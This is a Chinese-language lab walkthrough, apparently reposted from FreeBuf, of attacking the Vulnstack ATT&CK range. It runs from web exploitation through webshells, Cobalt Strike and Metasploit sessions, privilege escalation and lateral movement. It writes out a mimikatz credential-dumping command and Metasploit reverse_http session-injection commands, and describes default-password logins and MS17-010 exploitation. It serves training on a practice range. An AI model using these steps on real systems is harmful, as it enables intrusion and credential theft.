红日安全-ATT&CK实战:Vulnstack靶场实战(一)
2021-02-02 16:08:24 Author: www.freebuf.com(查看原文) 阅读量:173 收藏

一、环境配置

1、下载靶场

2、网卡配置

  • kali一个nat网卡,模拟外网攻击机
  • win7一个nat网卡,一个VMnet 2网卡,模拟web服务器
  • win2003一个VMnet 2网卡,模拟内网域成员主机
  • win2008一个VMnet 2网卡,模拟内网域控主机

3、检测联通性

  • 1、win7能ping通所有主机,所有主机都ping不通win7,因为win7的防火墙过滤了icmp
  • 2、win2003和win2008能互通

遇到的问题:配置好网卡后发现win7的net网卡获取不到地址,dhcp自动生成169.254.0.0/16的地址

解决反法:将虚拟机网卡顺序调对,网卡一是VMnet2,网卡2是nat,如下图1602745115_5f87f31b06eef9957728e.png!small?1602745115337

问题原因:自行理解

4、开启web服务

  • 在win7上使用phpstudy开启web服务
  • 通过使用win7访问127.0.0.1检测web服务是否开启

二、信息收集

1、使用Nmap扫描

1602747595_5f87fccbc7ae3af480716.png!small

  • 得知目标开放了80端口

2、使用kali访问目标80端口

1602745775_5f87f5afc5311836be7ca.png!small

  • 通过访问web服务,搜集了到phpinfo信息,管理员邮箱,绝对路径,版本信息

遇到问题:kali访问不了win7的web服务

解决办法:将net网卡修改成公用网络

1602747024_5f87fa9061e5d4524ec83.png!small?1602747024929

问题原因:自行理解

3、使用御剑后台扫描工具扫描

1602748650_5f8800ea784413b291764.png!small?1602748650654

三、漏洞利用

1、yxcms漏洞(信息泄露+后台弱密码):1602749574_5f8804861948394cc57f3.png!small?1602749576037

使用默认密码成功登入后台1602749676_5f8804ec29e39dab0f761.png!small?1602749676778

2、phpadmin弱口令漏洞

使用root/root登入该网站的phpadmin页面,成功登入1602749790_5f88055e24ff00dec7654.png!small?1602749790700

3、yxcms的留言板存在存储型xss漏洞

在留言板中插入xss测试代码

1602750302_5f88075eb1d77dbd8dae7.png!small?1602750303341

登入后台查看留言管理,出现弹框

1602750327_5f880777b9a62225679d0.png!small?1602750328048

4、yxcms后台存在任意文件读写漏洞

进入网站后台,在前台模板的default模板中新增一句话木马文件1602752116_5f880e7471874678b0469.png!small?1602752116979

根据之前下载的备份文件,找出写入一句话木马的文件路径

1602752320_5f880f40a7e0adc7566a4.png!small?1602752321546

找到路径后测试一下木马是否可用

1602752435_5f880fb388076a2166974.png!small?1602752436141

使用中国菜刀连接一句话木马

1602752559_5f88102feac251b2efd0e.png!small?1602752560906

5、phpmyadmin全局日志getshell

使用root/root登入phpmyadmin,查询全局日志文件

1602755223_5f881a9764d5f0d7bbbe5.png!small?1602755223969

开启general_log,并指定新的日志文件

1602755486_5f881b9e47e3e1f77e1bb.png!small?1602755486758

1602755554_5f881be23a81d242b285e.png!small?1602755554847

验证是否修改成功

1602755690_5f881c6a32852207d8084.png!small?1602755690704

写入一句话木马

1602755802_5f881cda22534938df951.png!small?1602755802623

使用菜刀连接

1602755981_5f881d8da94c31815fc8a.png!small?1602755982306

6、反弹shell

使用msfvenom生成payload文件,使用菜刀上传到www目录下

1602758732_5f88284cd59cf3e134944.png!small?1602758733525

使用handler模块接收反弹模块,在6666端口上进行监听,访问shell.php,连接成功

1602759060_5f88299418c0b29baeee9.png!small?1602759060654

1602824689_5f8929f1b5796bb74b3ef.png!small?1602824690927

7、提权

1、getsystem提权

1612247708_6018f29c42c99263c89a4.png!small?1612247708841

2、保存会话后,可使用以下绕过UAC的模块进行提权

1602824710_5f892a06d5468acdc9b51.png!small?1602824712698

3、可以使用windwos ms系列未修补漏洞进行提权,如ms16-032、ms17-010等。

用菜刀连接后打开虚拟终端,使用systeminfo命令查看目标打了什么补丁,再使用window提权辅助页面搜索对应的可利用exp进行提权

8、使用Cobalt Strike

1. 下载Cobalt Strike

去网上下一个cs,复制到kali系统

2.开启Cobalt Strike

给服务端程序执行权限

1602923805_5f8aad1d81c5b7611ac82.png!small?1602923806495

执行cs服务端程序,开启服务,ip是kali的ip,密码是123

1602923874_5f8aad629b557104d1f70.png!small?1602923875583

重新打开一个终端,在kali上执行cs客户端程序,用户名随意,密码123

1602923948_5f8aadac5ab761a308a28.png!small?1602923949348

创建一个监听器,ip就是kali的ip

1602924323_5f8aaf2371909793c7733.png!small?1602924324419

1602924391_5f8aaf67762f53097d392.png!small?1602924392481生成生成Web Delivery1602924494_5f8aafce7694a8efcbc0a.png!small?1602924495435

选择刚刚创建的那个Listener1602924528_5f8aaff07cef9ea09b680.png!small?1602924529532

会生成一条命令,使用菜刀连接webshell,打开虚拟终端,输入这条命令

1602924581_5f8ab025ac6d645e689b0.png!small?1602924582729

1602924757_5f8ab0d5ab48afe850217.png!small?1602924758686

目标主机就上线了,你就可以使用cs对它进行操作啦

1602924674_5f8ab0829ac104f32b4da.png!small?1602924675566

比如屏幕截图,右击连接->Explore->Screenshot,再点击上面的图片小图片进入屏幕截图视图(点击View-Screenshot也行),就能看到目标的屏幕截图了1602925063_5f8ab207de5a51de61262.png!small?1602925064931

9、系统信息收集

1602977987_5f8b80c3515de1ba2a311.png!small?1602977988113

1602978038_5f8b80f6b07b60bf52824.png!small?16029780395211602978065_5f8b811193ae7238e6eb1.png!small?16029780664151602978098_5f8b8132797cba43a2252.png!small?16029780992771602978146_5f8b8162be05a3cee2e24.png!small?160297814755010、主机密码收集

1、使用cs

使用 hashdump 和 logonpasswords 读内存和注册表密码,在 Credentials 模块下查看1602978466_5f8b82a234f2a36d926d5.png!small?1602978467066

1602978619_5f8b833b6d0b5bfcabafa.png!small?1602978620496

1602978891_5f8b844b07acd6dc5970d.png!small?1602978891829

2、使用mimikatz.exe程序

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" exit

1612248271_6018f4cf34f59ac4debd3.png!small?1612248271557

11、远程桌面链接

使用msf开启3389端口

1612249120_6018f8201489a2f83d5d4.png!small?1612249121122

使用抓到的域名和主机密码登入,远程桌面命令mstsc

1612249503_6018f99f917980d53918a.png!small?1612249503916

12、CS与MSF联动

CS下的会话传给MSF

使用msf监听模块,ip就是kali的ip,端口就是监听的端口,payload要和cs相同,然后运行,开始监听1602985581_5f8b9e6d02f5d7da88796.png!small?1602985581872

1602985911_5f8b9fb7b4b681da8d960.png!small?1602985912508

cs创建一个listener,ip也是kali的ip端口和kali监听端口一样,使用payload为Foreign HTTP1602985635_5f8b9ea31d5de3076bd14.png!small?1602985636051

右击要传的会话,点击Spawn,选择foregin http那个listense

1602985863_5f8b9f87520b087095534.png!small?1602985864188

1602985966_5f8b9fee4a9b70f28c88a.png!small?1602985967373

等它执行完命令,msf就会出现一个meterpreter

1602986022_5f8ba0267fbbf91d616bc.png!small?1602986023309

MSF下的会话传给CS

msf使用注入模块 + cs创建Listener监听 (相同payload)

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set DisablePayloadHandler true

set lhost (cs listener ip)

set lport (cs listener port)

set session (id)

run

使用cs的socks功能将msf带入内网

cs配置:

打开会话,输入socks 1234(空格不能多)

1603033226_5f8c588a0ae228c799744.png!small?1603033226845

进入代理视图,选中会话点击Tunnel,复制生成的文字
1603033259_5f8c58ab2851a521d6d6c.png!small?16030332598981603033357_5f8c590d5b94e4b269c50.png!small?1603033358091

1603033343_5f8c58ffd5f57b9e54d9e.png!small?1603033344554

msf配置:

粘贴cs生成的命令 setg Proxies socks4:127.0.0.1:1234

setg ReverseAllowProxy true           允许反向代理

1603033784_5f8c5ab83bf0503f0f4b7.png!small?1603033784963

修改/etc/proxychains.conf文件1603034459_5f8c5d5b2db0156442d60.png!small?1603034459982

使用msf的扫描模块扫描内网主机

1603034883_5f8c5f032c1e65a74bd3a.png!small?1603034883919

1603034903_5f8c5f1720217e684f740.png!small?1603034903860

1603035967_5f8c633f902c61dbf9686.png!small?1603035968617

四、内网信息收集

1、补丁信息收集1602986212_5f8ba0e46930433e1a682.png!small?1602986213245

2、安装软件信息1602986332_5f8ba15c43672abf8519f.png!small?1602986333225

3、路由信息

添加路由,使得 MSF 能够通过 Win7 路由转发访问192.168.52.0 网段1602986590_5f8ba25e38d737c6b9f34.png!small?1602986591069

4、arp扫描52网段1602987097_5f8ba459946d4014394b3.png!small?1602987098424

5、关闭防火墙,再使用nmap扫描1602987486_5f8ba5de7359607b18939.png!small?1602987487434

1602987556_5f8ba6244356e0530b17c.png!small?1602987557151

6、使用nmap的vuln漏洞扫描脚本进行扫描1602988042_5f8ba80a3e539a9e0fefc.png!small?16029880431401602988318_5f8ba91ec51b2a08eafb9.png!small?1602988319662

7、使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞1602988604_5f8baa3cbe15558590aa7.png!small?16029886056211602988764_5f8baadc7f3f12fea1418.png!small

8、在cs上使用目标机器上的nmap,对内网其他主机进行扫描

  • 注:有时beacon连接会执行不了命令,或者连接断开,或者制作不了scripted web delivery这时要重启一下cs服务器。 
  • 主机192.168.52.141信息

1602993066_5f8bbbaa2f562b899fee5.png!small

1602993147_5f8bbbfbc10331afb7047.png!small?1602993148637

  • 主机192.168.52.138信息1602993418_5f8bbd0a2552290bf5773.png!small?1602993419029

1602993434_5f8bbd1af41211f214f8d.png!small?1602993435805

五、内网攻击

1、MS08-067

使用cs将msf带入内网后,使用ms08-067攻击模块攻击内网主机,注意使用的是反向代理,所以这里payload需要使用正向

1603633023_5f957f7f093dc5b77ff56.png!small?1603633024344

2、SMB远程桌面口令猜测

使用msf的smb口令猜测模块,配置参数用于smb口令爆破1603633667_5f958203bbfe31a6c6e56.png!small?1603633670078

3、RPC DCOM 服务漏洞

漏洞原理:

微软修改 dcerpc 框架后形成自己的 RPC 框架来处理进程间的通信。微软的 RPC 框架在处理 TCP/IP 信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;
此漏洞影响使用 RPC 框架的 DCOM 接口,DCOM 接口用来处理客户端机器发送给服务器的 DCOM 对象激活请求,如 UNC 路径

漏洞利用:

1603635335_5f95888786a653662917f.png!small?1603635335861

4、ms17-010

1603635529_5f95894942bae6eb657e6.png!small?1603635529613

1603635604_5f95899420799fb2cd55d.png!small?1603635604436

打2k8试下,也蓝屏

1603635935_5f958adf5bbea3dc631c6.png!small?1603635935671


文章来源: https://www.freebuf.com/articles/web/252594.html
如有侵权请联系:admin#unsafe.sh